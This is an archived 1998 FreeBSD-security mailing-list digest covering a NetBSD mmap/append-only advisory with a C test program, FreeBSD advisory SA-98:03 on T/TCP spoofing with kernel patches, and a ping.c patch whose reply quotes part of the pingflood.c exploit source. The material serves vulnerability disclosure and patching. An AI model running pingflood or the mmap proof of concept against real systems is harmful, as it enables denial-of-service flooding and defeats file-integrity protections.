From owner-freebsd-security Mon May 11 05:10:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA29594 for freebsd-security-outgoing; Mon, 11 May 1998 05:10:43 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from mail.euroweb.hu (mail.euroweb.hu [193.226.220.4]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA29586 for ; Mon, 11 May 1998 05:10:37 -0700 (PDT) (envelope-from hu006co@mail.euroweb.hu) Received: (from hu006co@localhost) by mail.euroweb.hu (8.8.5/8.8.5) id OAA19946 for freebsd-security@freebsd.org; Mon, 11 May 1998 14:10:22 +0200 (MET DST) Received: (from zgabor@localhost) by CoDe.hu (8.7.5/8.7.3) id NAA00318 for freebsd-security@freebsd.org; Mon, 11 May 1998 13:09:02 +0200 (MET DST) From: Zahemszky Gabor Message-Id: <199805111109.NAA00318@CoDe.hu> Subject: NetBSD-SA1998-003: problem with mmap To: freebsd-security@FreeBSD.ORG Date: Mon, 11 May 1998 13:09:02 +0200 (MET DST) X-Mailer: ELM [version 2.4ME+ PL11 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk What about this one? On my 2.2.5, the problem exists (as says the program): ----- NetBSD Security Advisory 1998-003 --------------------------------- Topic: mmap(2) of append-only files may result in corrupted data. Version: NetBSD 1.3.1 and prior. Severity: Possible data corruption. Abstract - -------- Files that have the append-only flag set are erroneously allowed to be memory mapped shared, causing other processes to see changes made to the file. While the on-disk copy is not updated, any other process using memory mapping will see this change, causing data corruption. Technical Details - ----------------- 4.4BSD added several new concepts to the system security, including a system `securelevel', and the ability to mark FFS files as append-only or immutable. These flags are settable at any time, but can only be removed when the securelevel is zero, or less. The securelevel of a running system can only be lowered by the /sbin/init process, which typically only does this when entering single user mode. This ensures that the even the super-user can not tamper with the file flags. Due to a bug in the mmap(2) system call, files that are marked append-only, may be opened with append, read and write flags, as normal for append-only files, and then mmap(2)'ed shared with write protection. When the data mapped is changed, other processes that use mmap(2) on this file will also see the changes, defeating the purpose of the append-only flag. The actual on-disk copy of the file is not updated. Solutions and Workarounds - ------------------------- NetBSD has changed the mmap(2) system call to fail when creating a shared, writable file mapping if the file is marked immutable or append-only. A patch has been made available for NetBSD 1.3 and 1.3.1, and can be found on the NetBSD FTP server: ftp://ftp.NetBSD.ORG/pub/NetBSD/misc/security/patches/19980509-mmap Thanks To - --------- /* * mmap-bug.c: test for the presense of mmap bug with append-only * files. if it fails (and the bug is not present), it will probably * exit with an error from a system call. this program will only * compile on systems with 4.4BSD-compatible `file flags'. * * Copyright (c) 1998 Matthew Green. All Rights Reserved. */ #include #include #include #include #include #include #include #include #include #include char filedata[] = "you do NOT have the bug.\n"; char data[] = "you do have the bug.\n"; void child __P((const char *)); int main(argc, argv) int argc; char *argv[]; { caddr_t f; pid_t pid; int fd; if (argc < 2) errx(1, "usage: mmap-bug "); /* first create the file, and set APPEND */ fd = open(argv[1], O_CREAT|O_TRUNC|O_WRONLY, 0644); if (fd < 0) err(1, "open"); if (write(fd, filedata, sizeof filedata) < 0) err(1, "write"); if (fchflags(fd, SF_APPEND|UF_APPEND) < 0) err(1, "fchflags"); if (close(fd) < 0) err(1, "close"); /* now fork the child */ pid = fork(); if (pid < 0) err(1, "fork"); if (pid == 0) child(argv[1]); /* ok, in parent: open file append/read/write, and map it in */ fd = open(argv[1], O_APPEND|O_RDWR, 0); if (fd < 0) err(1, "parent open"); f = mmap(0, 4096, PROT_WRITE|PROT_READ, MAP_SHARED, fd, 0); if (f == (caddr_t)-1) err(1, "parent mmap"); /* modify the file, and write it out */ strcpy(f, data); /* wait for the child, and clean up */ wait(NULL); if (fchflags(fd, 0) < 0) err(1, "fchflags 2"); if (unlink(argv[1]) < 0) err(1, "unlink"); exit(0); } void child(path) const char *path; { caddr_t f; int fd; sleep(3); /* ok, in child: open file read, and map it in */ fd = open(path, O_RDONLY); if (fd < 0) err(1, "child open"); f = mmap(0, 4096, PROT_READ, MAP_SHARED, fd, 0); if (f == (caddr_t)-1) err(1, "child mmap"); /* write it out */ write(1, f, strlen(f)); exit(0); } ----- Gabor -- #!/bin/ksh Z='21N16I25C25E30, 40M30E33E25T15U!' ;IFS=' ABCDEFGHIJKLMNOPQRSTUVWXYZ ';set $Z;for i { [[ $i = ? ]]&&print $i&&break;[[ $i = ??? ]]&&j=$i&&i=${i%?};typeset -i40 i=8#$i;print -n ${i#???};[[ "$j" = ??? ]]&&print -n "${j#??} "&&j=;typeset +i i;};IFS=' 0123456789 ';set $Z;X=;for i { [[ $i = , ]]&&i=2;[[ $i = ?? ]]||typeset -l i;X="$X $i";typeset +l i;};print "$X" To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue May 12 12:25:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA06281 for freebsd-security-outgoing; Tue, 12 May 1998 12:25:45 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gvr.gvr.org (root@gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA06248 for ; Tue, 12 May 1998 12:25:30 -0700 (PDT) (envelope-from guido@gvr.org) Received: (from guido@localhost) by gvr.gvr.org (8.8.8/8.8.5) id VAA19992; Tue, 12 May 1998 21:25:05 +0200 (MET DST) From: Guido van Rooij Message-Id: <199805121925.VAA19992@gvr.gvr.org> Subject: Re: Why aren't security fixes posted to security-announce? In-Reply-To: <199805032118.SAA00317@localhost.schapachnik.com.ar> from "Fernando P. Schapachnik" at "May 3, 98 06:18:04 pm" To: fpscha@schapachnik.com.ar Date: Tue, 12 May 1998 21:25:05 +0200 (MET DST) Cc: freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Fernando P. Schapachnik wrote: > *** A similar message has already been posted some days before. As I > didn't received it, I assume nobody has. Sorry if this is not the case. *** > > Hello: > I like to know if there is a good reason for not posting to > announce or security-announce those bugs/fixes mailed to security. > > I'm not talking about open issues that may help an attacker, but > about those which has a fix or workaround. In this situation we can find > Niall Smart's "Vulnerability in OpenBSD, FreeBSD-stable lprm", Dima > Ruban's patch to BIND related with "Re: Any news on this?: CA-98.05 > Multiple Vulnerabilities in BIND" and Vasim Valejev's "Example of > RFC-1644 attack", just to quote a few I received in the past few weeks. In general, security related patches are first applied to -current. After about a week or so, they are brought to -stable. The an advisory will be sent out. Why? Because an advisory without a decently tested patch would upset users. In general, when a part of the system is affected that we import from another source, e.g. XFree or sendmail, I think it is not wise to reissue a FreeBSD specific advisory as it might confuse more then it helps. We do try to give feedback to users in these cases by providing a vendor specific section. -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Tue May 12 19:24:30 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id TAA22784 for freebsd-security-outgoing; Tue, 12 May 1998 19:24:30 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from ns2.sminter.com.ar (ns2.sminter.com.ar [200.10.100.11]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id TAA22765 for ; Tue, 12 May 1998 19:24:11 -0700 (PDT) (envelope-from Recabarren!fpscha@ns2.sminter.com.ar) Received: (from uucp@localhost) by ns2.sminter.com.ar (8.8.5/8.8.4) id XAA05007 for FreeBSD.ORG!freebsd-security; Tue, 12 May 1998 23:22:40 -0300 (GMT) >Received: (from fpscha@localhost) by localhost.schapachnik.com.ar (8.8.5/8.8.5) id WAA00418; Wed, 13 May 1998 22:28:09 -0300 (ARST) From: "Fernando P. Schapachnik" Message-Id: <199805140128.WAA00418@localhost.schapachnik.com.ar> Subject: Re: Why aren't security fixes posted to security-announce? To: guido@gvr.org (Guido van Rooij) Date: Wed, 13 May 1998 22:28:08 -0300 (ARST) Cc: fpscha@schapachnik.com.ar, freebsd-security@FreeBSD.ORG In-Reply-To: <199805121925.VAA19992@gvr.gvr.org> from Guido van Rooij at "May 12, 98 09:25:05 pm" Reply-To: fpscha@schapachnik.com.ar X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Transfer-Encoding: 8bit Content-Type: text/plain; charset=ISO-8859-1 Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk En un mensaje anterior Guido van Rooij escribi˘: > Fernando P. Schapachnik wrote: > > Hello: > > I like to know if there is a good reason for not posting to > > announce or security-announce those bugs/fixes mailed to security. > > > > I'm not talking about open issues that may help an attacker, but > > about those which has a fix or workaround. In this situation we can find > > Niall Smart's "Vulnerability in OpenBSD, FreeBSD-stable lprm", Dima > > Ruban's patch to BIND related with "Re: Any news on this?: CA-98.05 > > Multiple Vulnerabilities in BIND" and Vasim Valejev's "Example of > > RFC-1644 attack", just to quote a few I received in the past few weeks. > > In general, security related patches are first applied to -current. > After about a week or so, they are brought to -stable. The an > advisory will be sent out. Why? Because an advisory without a decently > tested patch would upset users. I agree with this as a policy, but it is not what I see happening. For example, I haven't seen an advisory about "Vulnerability in OpenBSD, FreeBSD-stable lprm" and it has been posted 3 weeks ago. Please don't get me wrong. I'll be happy and willing to help if the answer is "we don't have enough time". On the other hand, how much "security feedback" you obtain from your "vendor" affects directly how secure you can keep your system (eg, Solaris has _very_bad_ security policy because although we payed the u$s 30000+ for a server, we can't have them sending us security info. Only way out: keep an eye on rootshell.com. And they do have time!). > In general, when a part of the system is affected that we import from > another source, e.g. XFree or sendmail, I think it is not wise to reissue > a FreeBSD specific advisory as it might confuse more then it helps. > We do try to give feedback to users in these cases by providing a vendor > specific section. > > -Guido > Kind regards! Fernando P. Schapachnik fpscha@schapachnik.com.ar To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Wed May 13 04:49:55 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id EAA14589 for freebsd-security-outgoing; Wed, 13 May 1998 04:49:55 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from cheops.anu.edu.au (avalon@cheops.anu.edu.au [150.203.76.24]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id EAA14554 for ; Wed, 13 May 1998 04:49:32 -0700 (PDT) (envelope-from avalon@coombs.anu.edu.au) Message-Id: <199805131149.EAA14554@hub.freebsd.org> Received: by cheops.anu.edu.au (1.37.109.16/16.2) id AA035090129; Wed, 13 May 1998 21:48:49 +1000 From: Darren Reed Subject: Re: Why aren't security fixes posted to security-announce? To: guido@gvr.org (Guido van Rooij) Date: Wed, 13 May 1998 21:48:49 +1000 (EST) Cc: fpscha@schapachnik.com.ar, freebsd-security@FreeBSD.ORG In-Reply-To: <199805121925.VAA19992@gvr.gvr.org> from "Guido van Rooij" at May 12, 98 09:25:05 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk In some mail from Guido van Rooij, sie said: > > In general, security related patches are first applied to -current. > After about a week or so, they are brought to -stable. The an > advisory will be sent out. Why? Because an advisory without a decently > tested patch would upset users. I haven't seen a commit message yet for the mmap bug... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu May 14 12:58:26 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id MAA01597 for freebsd-security-outgoing; Thu, 14 May 1998 12:58:26 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gvr.gvr.org (gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id MAA01538; Thu, 14 May 1998 12:58:13 -0700 (PDT) (envelope-from security-officer@freebsd.org) Received: (from guido@localhost) by gvr.gvr.org (8.8.8/8.8.5) id VAA12382; Thu, 14 May 1998 21:58:14 +0200 (MET DST) Date: Thu, 14 May 1998 21:58:14 +0200 (MET DST) Message-Id: <199805141958.VAA12382@gvr.gvr.org> From: FreeBSD Security Officer To: undisclosed-recipients:; Subject: FreeBSD Security Advisory: FreeBSD-SA-98:03.ttcp Reply-To: security-officer@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- ============================================================================= FreeBSD-SA-98:03 Security Advisory FreeBSD, Inc. Topic: Problems with TTCP Category: core Module: kernel Announced: 1998-05-14 Affects: FreeBSD 2.1.* FreeBSD 2.2.*, FreeBSD-stable before 1998/05/14 and FreeBSD-current before 1998/05/05 suffer from this problem. Corrected: FreeBSD-3.0-current as of 1998/05/14 FreeBSD-2.2-stable as of 1998/05/05 FreeBSD only: No. Any other system incorporating TTCP extentions may be affected. Patches: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:03/ I. Background RFC 1644 provides an extension to TCP called TCP Extensions for Transactions, or shortly T/TCP. It provides a way of bypassing the standard three-way handshake found in TCP, thus speeding up transactions. T/TCP has been incorporated in FreeBSD since FreeBSD 2.0.5. II. Problem Description An accelerated open is initiated by a client by sending a new TCP option, called CC, to the server. The kernel keeps a special cache for each host it communicated with, among others containing the value of the last CC option used by the client. A new accelerated open is allowed when the CC sent is larger than the one in the per-host cache. Thus one can spoof complete connections. III. Impact The hole can be used to obtain unauthorized acces to the system by spoofing connections to the r*-services. This can only be done in the case where an .rhost file and/or a host.equiv file is used as the sole method of authentication. IV. Workaround Disable all r-* services. Note that setting the kernel variable net.inet.tcp.rfc1644 to 0 does not solve the problem. This variable controls whether the system will initiate rfc1644 based connections and does not affect the ability to receive such connections. V. Solution Apply the following patch, rebuild your kernel, install it and reboot your system. the patch is valid for 2.2.* as well as 2.2-stable and 3.0-current systems. The patch below can be found on ftp://ftp.freebsd.org/pub/FreeBSD/CERT/patches/SA-98:03/ Index: tcp_input.c =================================================================== RCS file: /home/cvsup/freebsd/CVS/src/sys/netinet/tcp_input.c,v retrieving revision 1.74 retrieving revision 1.75 diff -u -r1.74 -r1.75 --- tcp_input.c 1998/04/24 10:08:57 1.74 +++ tcp_input.c 1998/05/04 17:59:52 1.75 @@ -680,7 +680,9 @@ * - otherwise do a normal 3-way handshake. */ if ((to.to_flag & TOF_CC) != 0) { - if (taop->tao_cc != 0 && CC_GT(to.to_cc, taop->tao_cc)) { + if (tp->t_state & TF_NOPUSH && + taop->tao_cc != 0 && CC_GT(to.to_cc, taop->tao_cc)) { + taop->tao_cc = to.to_cc; tp->t_state = TCPS_ESTABLISHED; ============================================================================= FreeBSD, Inc. Web Site: http://www.freebsd.org/ Confidential contacts: security-officer@freebsd.org Security notifications: security-notifications@freebsd.org Security public discussion: freebsd-security@freebsd.org PGP Key: ftp://ftp.freebsd.org/pub/FreeBSD/CERT/public_key.asc Notice: Any patches in this document may not apply cleanly due to modifications caused by digital signature or mailer software. Please reference the URL listed at the top of this document for original copies of all patches if necessary. ========================================================================= -----BEGIN PGP SIGNATURE----- Version: 2.6.2 iQCVAwUBNVtEuVUuHi5z0oilAQGIqQP9FTHxJWljLSFskaF34/GvPBfCuxiJdxPo LLPG3GF2NsUFYSwuj5PnM61n6ByX9Ryoq/FO5kXr6nF6gOt3H+1YbgCUmWfpx5aN GFRdanUzuVJ7ipusehwmgULMXknaDJksV+j7VyaYfa0VheYwbMXKkzdG03/0kioz 2Scwf+BJ8CI= =F0vQ -----END PGP SIGNATURE----- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu May 14 13:27:46 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id NAA06167 for freebsd-security-outgoing; Thu, 14 May 1998 13:27:46 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from gvr.gvr.org (gvr.gvr.org [194.151.74.97]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id NAA06147 for ; Thu, 14 May 1998 13:27:32 -0700 (PDT) (envelope-from guido@gvr.org) Received: (from guido@localhost) by gvr.gvr.org (8.8.8/8.8.5) id WAA12731; Thu, 14 May 1998 22:23:05 +0200 (MET DST) From: Guido van Rooij Message-Id: <199805142023.WAA12731@gvr.gvr.org> Subject: Re: Why aren't security fixes posted to security-announce? In-Reply-To: <199805131149.EAA14554@hub.freebsd.org> from Darren Reed at "May 13, 98 09:48:49 pm" To: avalon@coombs.anu.edu.au (Darren Reed) Date: Thu, 14 May 1998 22:23:05 +0200 (MET DST) Cc: fpscha@schapachnik.com.ar, freebsd-security@FreeBSD.ORG X-Mailer: ELM [version 2.4ME+ PL32 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Darren Reed wrote: > In some mail from Guido van Rooij, sie said: > > > > In general, security related patches are first applied to -current. > > After about a week or so, they are brought to -stable. The an > > advisory will be sent out. Why? Because an advisory without a decently > > tested patch would upset users. > > I haven't seen a commit message yet for the mmap bug... Will arrive soon. I was just busy with the ttcp advisory. -Guido To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu May 14 14:48:40 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id OAA20757 for freebsd-security-outgoing; Thu, 14 May 1998 14:48:40 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from echonyc.com (echonyc.com [198.67.15.2]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id OAA20750 for ; Thu, 14 May 1998 14:48:32 -0700 (PDT) (envelope-from benedict@echonyc.com) Received: from localhost (benedict@localhost) by echonyc.com (8.8.7/8.8.7) with SMTP id RAA01188; Thu, 14 May 1998 17:47:45 -0400 (EDT) Date: Thu, 14 May 1998 17:47:43 -0400 (EDT) From: Snob Art Genre Reply-To: ben@rosengart.com To: Guido van Rooij cc: Darren Reed , fpscha@schapachnik.com.ar, freebsd-security@FreeBSD.ORG Subject: Re: Why aren't security fixes posted to security-announce? In-Reply-To: <199805142023.WAA12731@gvr.gvr.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk On Thu, 14 May 1998, Guido van Rooij wrote: > Will arrive soon. I was just busy with the ttcp advisory. Speaking of which, what does your patch do? Ben "You have your mind on computers, it seems." To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Thu May 14 21:31:45 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id VAA03138 for freebsd-security-outgoing; Thu, 14 May 1998 21:31:45 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from uddias.diaspro.com (uddias.diaspro.com [194.84.211.1]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id VAA03121 for ; Thu, 14 May 1998 21:31:23 -0700 (PDT) (envelope-from vasim@diaspro.com) Received: from localhost (localhost.diaspro.com [127.0.0.1]) by uddias.diaspro.com (8.8.8/8.8.8) with SMTP id KAA18816 for ; Fri, 15 May 1998 10:31:11 +0600 (ESS) (envelope-from vasim@diaspro.com) Date: Fri, 15 May 1998 10:31:11 +0600 (ESS) From: Vasim Valejev To: freebsd-security@FreeBSD.ORG Subject: Re: FreeBSD Security Advisory: FreeBSD-SA-98:03.ttcp In-Reply-To: <199805141958.VAA12382@gvr.gvr.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk Hi ! On Thu, 14 May 1998, FreeBSD Security Officer wrote: > -----BEGIN PGP SIGNED MESSAGE----- > > ============================================================================= > FreeBSD-SA-98:03 Security Advisory > FreeBSD, Inc. > > Topic: Problems with TTCP > [skip] > --- tcp_input.c 1998/04/24 10:08:57 1.74 > +++ tcp_input.c 1998/05/04 17:59:52 1.75 > @@ -680,7 +680,9 @@ > * - otherwise do a normal 3-way handshake. > */ > if ((to.to_flag & TOF_CC) != 0) { > - if (taop->tao_cc != 0 && CC_GT(to.to_cc, taop->tao_cc)) { > + if (tp->t_state & TF_NOPUSH && > + taop->tao_cc != 0 && CC_GT(to.to_cc, taop->tao_cc)) { > + > taop->tao_cc = to.to_cc; > tp->t_state = TCPS_ESTABLISHED; > May be this fix will be better ? Index: tcp_seq.h =================================================================== RCS file: /home/ncvs/src/sys/netinet/tcp_seq.h,v retrieving revision 1.1.1.1 diff -c -r1.1.1.1 tcp_seq.h *** tcp_seq.h 1997/11/27 05:36:24 1.1.1.1 --- tcp_seq.h 1998/05/15 03:57:46 *************** *** 57,63 **** */ #define CC_LT(a,b) ((int)((a)-(b)) < 0) #define CC_LEQ(a,b) ((int)((a)-(b)) <= 0) ! #define CC_GT(a,b) ((int)((a)-(b)) > 0) #define CC_GEQ(a,b) ((int)((a)-(b)) >= 0) /* Macro to increment a CC: skip 0 which has a special meaning */ --- 57,63 ---- */ #define CC_LT(a,b) ((int)((a)-(b)) < 0) #define CC_LEQ(a,b) ((int)((a)-(b)) <= 0) ! #define CC_GT(a,b) ((int)((a)-(b)) == 1) #define CC_GEQ(a,b) ((int)((a)-(b)) >= 0) /* Macro to increment a CC: skip 0 which has a special meaning */ Index: tcp_usrreq.c =================================================================== RCS file: /home/ncvs/src/sys/netinet/tcp_usrreq.c,v retrieving revision 1.2 diff -c -r1.2 tcp_usrreq.c *** tcp_usrreq.c 1998/01/31 08:51:46 1.2 --- tcp_usrreq.c 1998/05/15 03:56:42 *************** *** 603,616 **** bzero(taop, sizeof(*taop)); } ! tp->cc_send = CC_INC(tcp_ccgen); ! if (taop->tao_ccsent != 0 && ! CC_GEQ(tp->cc_send, taop->tao_ccsent)) { ! taop->tao_ccsent = tp->cc_send; ! } else { ! taop->tao_ccsent = 0; tp->t_flags |= TF_SENDCCNEW; ! } return 0; } --- 603,613 ---- bzero(taop, sizeof(*taop)); } ! if (taop->tao_ccsent == 0) tp->t_flags |= TF_SENDCCNEW; ! tp->cc_send = CC_INC(taop->tao_ccsent); ! if (taop->tao_ccsent == 0) ! taop->tao_ccsent = tp->cc_send; return 0; } After this fix TAO-test algorithm changed and any attempts use rfc-1644's security hole will be rejected . Vasim V. (2:5011/27 http://members.tripod.com/~Vasim VV86-RIPE) To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri May 15 02:30:16 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA16441 for freebsd-security-outgoing; Fri, 15 May 1998 02:30:16 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from boundary.eltex.spb.ru ([195.19.195.67]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA16247 for ; Fri, 15 May 1998 02:30:03 -0700 (PDT) (envelope-from ark@eltex.spb.ru) From: ark@eltex.spb.ru Received: from paranoid.eltex.spb.ru (border1.eltex.spb.ru [194.58.218.11]) by boundary.eltex.spb.ru (8.8.8/8.8.8) with ESMTP id NAA05667; Fri, 15 May 1998 13:34:58 +0400 (MSD) Received: (from ark@localhost) by paranoid.eltex.spb.ru (8.8.8/8.7.3) id NAA30305; Fri, 15 May 1998 13:30:19 GMT Date: Fri, 15 May 1998 13:30:19 GMT Message-Id: <199805151330.NAA30305@paranoid.eltex.spb.ru> In-Reply-To: <199805142023.WAA12731@gvr.gvr.org> from "Guido van Rooij " Organization: "Klingon Imperial Intelligence Service" Subject: Re: Why aren't security fixes posted to security-announce? To: guido@gvr.org Cc: avalon@coombs.anu.edu.au, (Darren,Reed), fpscha@schapachnik.com.ar, freebsd-security@FreeBSD.ORG Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk nuqneH, Guido van Rooij said : > Darren Reed wrote: > > In some mail from Guido van Rooij, sie said: > > > > > > In general, security related patches are first applied to -current. > > > After about a week or so, they are brought to -stable. The an > > > advisory will be sent out. Why? Because an advisory without a decently > > > tested patch would upset users. > > > > I haven't seen a commit message yet for the mmap bug... > > Will arrive soon. I was just busy with the ttcp advisory. btw i've noticed that patches for 2.1 branch aren't posted anymore. It is not hard (usually) to apply patches from 2.2 to 2.1 but sometimes (i'd even say often) it has to be done manually. I am fully satisfied with 2.1.7.1 system and i do not want to upgrade. _ _ _ _ _ _ _ {::} {::} {::} CU in Hell _| o |_ | | _|| | / _||_| |_ |_ |_ (##) (##) (##) /Arkan#iD |_ o _||_| _||_| / _| | o |_||_||_| [||] [||] [||] Do i believe in Bible? Hell,man,i've seen one! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe security" in the body of the message From owner-freebsd-security Fri May 15 17:46:13 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id RAA06145 for freebsd-security-outgoing; Fri, 15 May 1998 17:46:13 -0700 (PDT) (envelope-from owner-freebsd-security@FreeBSD.ORG) Received: from forbidden-donut.anet-stl.com (vmailer@forbidden-donut.anet-stl.com [209.83.128.17]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id RAA06133; Fri, 15 May 1998 17:46:05 -0700 (PDT) (envelope-from doogie@forbidden-donut.anet-stl.com) Received: from localhost (localhost 127.0.0.1) by forbidden-donut.anet-stl.com (VMailer) via SMTP id 1C21FEF4AC; Fri, 15 May 1998 19:45:44 -0500 (CDT) Date: Fri, 15 May 1998 19:45:42 -0500 (CDT) From: Jason Young Reply-To: Jason Young To: AntireZ Cc: BUGTRAQ@NETSPACE.ORG, freebsd-security@FreeBSD.ORG, freebsd-bugs@FreeBSD.ORG Subject: Re: pingflood.c In-Reply-To: <352CAAE8.CC902ABA@mclink.it> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG Precedence: bulk -----BEGIN PGP SIGNED MESSAGE----- This patch for FreeBSD's ping seems to defeat the SIGALRM flood exploit. I suspect it applies to all the other *BSD's as well. I have done only MINIMAL testing, so comments and other fixes are welcome. Jason Young ANET Chief Network Engineer *** ping.c Fri Mar 6 07:07:12 1998 - --- ping.c.new Fri May 15 19:40:23 1998 *************** *** 158,167 **** - --- 158,168 ---- double tsumsq = 0.0; /* sum of all times squared, for std. dev. */ volatile sig_atomic_t finish_up; /* nonzero if we've been told to finish up */ int reset_kerninfo; volatile sig_atomic_t siginfo_p; + volatile time_t lasttime; static void fill(char *, char *); static u_short in_cksum(u_short *, int); static void catcher(int sig); static void check_status(void); *************** *** 209,218 **** - --- 210,220 ---- setuid(getuid()); uid = getuid(); preload = 0; + lasttime = 0; datap = &outpack[8 + sizeof(struct timeval)]; while ((ch = getopt(argc, argv, "I:LQRT:c:adfi:l:np:qrs:v")) != -1) { switch(ch) { case 'a': *************** *** 518,540 **** static void catcher(int sig) { int waittime; struct sigaction si_sa; ! pinger(); if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { - - if (nreceived) { - - waittime = 2 * tmax / 1000; - - if (!waittime) - - waittime = 1; - - } else - - waittime = MAXWAIT; - - si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - --- 520,551 ---- static void catcher(int sig) { int waittime; struct sigaction si_sa; + time_t timenow; ! if (nreceived) { ! waittime = 2 * tmax / 1000; ! if (!waittime) ! waittime = 1; ! } else ! waittime = MAXWAIT; ! ! /* Die if SIGALRM is caught earlier than it should have been. This ! * is usually the result of someone sending thousands of SIGALRMs ! * in an attempt to simulate a ping -f (flood). ! */ ! ! if(time((time_t *)&timenow) < lasttime + waittime) exit(0); ! lasttime = timenow; + pinger(); + if (!npackets || ntransmitted < npackets) (void)alarm((u_int)interval); else { si_sa.sa_handler = stopit; sigemptyset(&si_sa.sa_mask); si_sa.sa_flags = 0; if (sigaction(SIGALRM, &si_sa, 0) == -1) { finish_up = 1; - ----- On Thu, 9 Apr 1998, AntireZ wrote: > /* > > pingflood.c by (AntireZ) Salvatore Sanfilippo > enhanced by David Welton > I tested it only on Linux RedHat 4.1 and 5.0. > David Welton tested it on Debian GNU/Linux and OpenBSD reporting > it works. > This program is free software; you can redistribute it and/or modify > it under the terms of the GNU General Public License as published by > the Free Software Foundation; version 2 of the License. > > > ------------------------------------------------------------------------- > > pingflood.c allows non-root users to 'ping flood'. > > use it as follows: > > pingflood > > WARNING: this program is only for demonstrative use only. USE IT AT > YOUR > OWN RISK! The authors decline all responsibility for > damage caused by misuse of the program. > > *** if you use this program to cause harm to others, you are very > small, petty and pathetic. *** > > to compile: gcc -o pingflood pingflood.c > > > ------------------------------------------------------------------------- > > TECHNICAL NOTES > > When ping runs it normally sends an ICMP ECHO_REQUEST every second. > It accomplishes this using the alarm system call and waiting for a > SIGALRM > signal > from the kernel. > Pingflood simply sends a lot of SIGALRM signals to the ping process. > It can > do this because the ping process is owned by the user. > > > Salvatore Sanfilippo > > */ > > #include > > #define PING "/bin/ping" > > main( int argc, char *argv[] ) > { > int pid_ping; > > if (argc < 2) { > printf("use: %s \n", argv[0]); > exit(0); > } > > if(!(pid_ping = fork())) > execl(PING, "ping", argv[1], NULL); > > if ( pid_ping <=0 ) { > printf("pid <= 0\n"); > exit(1); > } > > sleep (1); /* give it a second to start 